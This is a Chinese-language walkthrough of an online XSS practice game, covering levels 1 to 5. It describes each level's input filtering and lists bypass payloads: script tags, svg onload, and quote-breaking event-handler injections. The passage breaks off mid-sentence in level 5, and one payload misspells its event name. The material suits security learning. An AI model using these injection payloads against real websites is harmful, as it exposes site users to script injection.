**
XSS小游戏
找到了一个xss练习平台,在线地址:http://test.xss.tv/
实验环境也可以本地搭建,不过需要php+mysql的环境:
xss通关小游戏:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密码:85g8
**
lvevel1:
通过查看右边源码发现$str从url接收一个get型name参数,且并没有进行任何过滤,直接echo出来,所以此时可以构造任意可弹窗payload.
<script>alert(/xss/)</script>
<svg/onload=alert(1)>
....
lvevel2:
从url中接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),将预定义的字符串转换为HTML实体,采用黑名单绕过.
payload:
" onclick=alert(/xss/) //点击一下输入框触发
" onmouseover=alert(/xss/) //鼠标划过输入框触发
"><script>alert(/xss/)</script> //闭合input
.......
lvevel3
这个级别在input中也进行了htmlspecialchars过滤,只能使用js事件来构造payload
payloaad:
' onmouserover=alert(/xss/) //
相当于: <input name=keyword value=' ' onmouseover=alert(1)// '>
lvevel4
- str_replace(">", " " ,$str),此函数将变量str中的字符>转换为空,转换时区分大小写。同理将<装换为空
- 经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
payload:
" onfocus=alert(/xss/) autofocus="
" onclick=alert(/xss/) //
....
lvevel5
- strtolower($_GET[“keyword”]) 将字符串转换为小写
- str_replace("<script","&l